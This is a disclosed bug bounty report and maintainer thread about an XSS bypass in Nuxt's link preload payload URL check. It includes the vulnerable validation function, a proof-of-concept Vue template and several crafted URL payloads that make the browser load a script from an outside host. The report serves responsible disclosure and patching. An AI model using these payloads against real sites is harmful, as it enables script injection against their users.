Link Preload XSS bypass in nuxt/framework

Valid

Reported on

Dec 22nd 2022


Description

Link preloads still do not effectively confirm if the requested link is external. This is a bypass to the fix for CVE-2022-4414.

Root Cause

The _getPayloadURL function was adapted after the disclosure to use the browsers built in URL parser to properly check for a valid URL. This is a great idea as it reduces the risk of a parser differential.

function _getPayloadURL (url: string, opts: LoadPayloadOptions = {}) {
  const u = new URL(url, 'http://localhost')
  if (u.search) {
    throw new Error('Payload URL cannot contain search params: ' + url)
  }
  if (u.host !== 'localhost') {
    throw new Error('Payload URL cannot contain host: ' + url)
  }
  const hash = opts.hash || (opts.fresh ? Date.now() : '')
  return joinURL(useRuntimeConfig().app.baseURL, u.pathname, hash ? `_payload.${hash}.js` : '_payload.js')
}

After the check is completed the u.pathname value of the newly parsed URL is used.

This pathname value is under our control. We can use the same trick as before to create a URL that satisfies the first condition while still being interpreted differently by the browser.

Exploitation

This vulnerability still only exists on prerendered sites. Same requirements as previous vulnerability.

Proof of concept

<template>
    <div>
        <NuxtLink :to="r.query.u">Your Link Here</NuxtLink>
    </div>
</template>

<script setup lang="ts">

    const r = useRoute() as any;

</script>

Navigate to URL: http://site/?u=//localhost//io.bryces.io

Further Research

A different approach I've seen to this type of problem is to use fetch to get the data and then use Response.url to check the origin is correct. See references.

Impact

This vulnerability only impacts static sites, meaning there is a fairly low likelihood that this vulnerability could occur. However there appear to be future plans to expand this feature to other modes where there this would have far more impact.

Risk can be mitigated using a strict CSP.

We are processing your report and will contact the nuxt/framework team within 24 hours. a year ago
OhB00 modified the report
a year ago
We have contacted a member of the nuxt/framework team and are waiting to hear back a year ago
nuxt/framework maintainer has acknowledged this report a year ago
OhB00
a year ago

Researcher


I think this vulnerability might also occur in nuxt2, I need to do some more testing but is it worth reporting separately?

OhB00 modified the report
a year ago
Daniel Roe
a year ago

Maintainer


Thanks for this. Yes, feel free to investigate and report separately ❤️

Daniel Roe validated this vulnerability a year ago
ohb00 has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Daniel Roe marked this as fixed in 3.2.1 with commit 7aa35f a year ago
Daniel Roe has been awarded the fix bounty
OhB00
a year ago

Researcher


Still exploitable, first issue has now regressed /\a//io.bryces.io

Daniel Roe
a year ago

Maintainer


Thanks for checking.

OhB00
a year ago

Researcher


This payload works now /\localhost//io.bryces.io. I don't think hasProtocol is robust enough for this check as it can be bypassed many ways.

OhB00
a year ago

Researcher


Okay I think this works, I'll give it a final test

Daniel Roe gave praise a year ago
Thank you again ❤️
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
OhB00
a year ago

Researcher


Bypassed again 😎 //localhost/\\io.bryces.io.

I think there needs to be a different approach here, this is not an easily solved problem and will always be possible because of parser differentials, you can't perfectly model how URLs may be parsed in the browser.

A simple fix would be to add a prefix to the path, this is unexploitable if there is anything other than / at the start of the URL. A /_nuxt prefix would fix the issue and not require complex detection.

OhB00
a year ago

Researcher


You can DM me on discord at bryce#6349 and I can assist :)

This vulnerability has now been published a year ago
OhB00
10 months ago

Researcher


For anyone looking at this thread with a similar problem, I've since learnt that import("./" + user_input) is a mostly suitable fix.

to join this conversation